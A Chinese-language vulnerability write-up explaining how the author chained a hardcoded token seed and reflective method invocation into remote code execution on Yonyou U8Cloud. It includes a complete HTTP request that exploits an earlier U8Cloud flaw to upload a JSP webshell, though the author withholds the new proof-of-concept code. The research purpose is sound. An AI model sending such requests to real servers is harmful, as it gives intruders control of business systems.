U8Cloud最新前臺RCE漏洞挖掘過程
前言
漏洞比較簡單可以概括為token硬編碼導致的任意方法調用組合RCE。這篇文章主要講下當時挖這個漏洞的過程,其實就是分析老漏洞就挖到了新漏洞整個過程好像就幾個小時,盡量寫的新手向一點吧。
反序列化 or 任意方法調用?
/ServiceDispatcherServlet接口之前出過反序列化所有先看看他怎么修復的


我們跟進看看具體實現

這里GET|POST都會進入execCall

execCall里會調用readObject但是這個方法是他自己實現的

注意到NCObjectInputStream#resolveClass

此處添加了黑白名單判斷,且傳入的rootChecked為false,whiteList為我們剛才傳入的InvocationInfo.class所以這里使用白名單修復了之前的反序列化漏洞
然后我們回到readObject這里研究一下怎么生成這個序列化數據


他先檢查了前四字節然后使用前四字節計算了數據長度判斷是否符合,最后使用nc.bs.framework.comn.NetObjectInputStream#readObject進行反序列化。這里我們可以直接套用它的序列化方法來進行序列化數據的生成
nc.bs.framework.comn.NetObjectOutputStream#writeObject

既然這里反序列化RCE走不通我們繼續看execCall的后續實現

從我們反序列化的對象invInfo中獲取數據先進入vertifyToken進行token驗證,然后進入invokeBeanMethod進行反射調用。我們看下vertifyToken的實現

如果service或者clientIP在可信列表里則直接不進行token驗證,然后看vertifyTokenIllegal怎么驗證token

獲取userCode傳入genToken

獲取tokenSeed作為鹽然后sha1加密

所以我們只要知道tokenSeed即可偽造token

從nc.bs.framework.server.token.TokenUtil可知tokenSeed儲存在/ierp/bin/token/tokenSeed.conf里我們直接查看安裝包和安裝后的這個文件發現沒有任何變化說明是硬編碼的不是啟動后隨機生成寫入文件的。


所以token可以偽造,然后我們這里就有了一個調用符合下面規則方法的點

從歷史漏洞尋找RCE方法
上面我們找到了一個調用符合某些規則方法的點,我們這里不跟入nc.bs.framework.naming.Context#lookup查看具體實現然后找到符合的beanName&methodName因為如果對用友代碼不熟悉或者這個符合規則的方法很多但是要找到一個RCE的可能也不太容易。正好挖洞之前分析過一個歷史漏洞。數據包如下
POST /service/esnserver HTTP/1.1
Host: 192.168.179.140:8088
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Token: 469ce01522f64366750d1995ca119841
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fil;q=0.6
Cookie: currentToken=0d1001e88bd4373e7f07ff61caddeaf8; JSESSIONID=62C880D54C98B7CD3CEFF70A169A4DC2.server
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60484
{"invocationInfo":{"ucode":"123","dataSource":"U8cloud","lang":"en"},"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans","param":{"p1":"shelltext","p2":"webapps/u8c_web/test1234.jsp"},"paramType":["p1:[B","p2:java.lang.String"]}
這個漏洞的原理我簡單講下



根據傳入的pathInfo獲取obj比如上面的包傳入的即為esnserver,然后進入獲取到的obj的service方法這里最后會進入com.yonyou.esn.servlet.EsnServlet#doAction

也是先進行Token檢測,上面數據包頭部Token也是用來繞過檢測的

他這個token和tokenSeed都是由用戶傳入的tokenSeed對應數據包中的ucode過了token檢測以后會進入到com.yonyou.esn.ulink.LightAppService#processBusi

我這個代碼是修復了這個漏洞以后的加了包名限制。這里其實和我們上面反射調用方法是一樣的只不過這里是json格式上面是反序列化。所以我們看下"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans"修復了沒還是只加了包名限制反射調用。


解壓數據然后寫入我們指定的路徑沒有任何限制。
組合RCE
結合反序列化token硬編碼,反射調用nc.itf.hr.tools.IFileTrans#uploadFile可寫出POC生成代碼

隱藏了關鍵代碼部分需要研究的請自行實現。

成功getshell

總結
這個漏洞本來不想寫這么麻煩的簡單分析一下調用過程很省時間,但是后面還是想按照當時的挖掘思路來寫主要是想告訴讀者分析歷史漏洞的重要性。
每一個歷史漏洞都像是一把鑰匙,不僅能開啟當時的那扇門,更可能為我們指向新的攻擊路徑。復現不是終點,而是新發現的起點!!!

浙公網安備 33010602011771號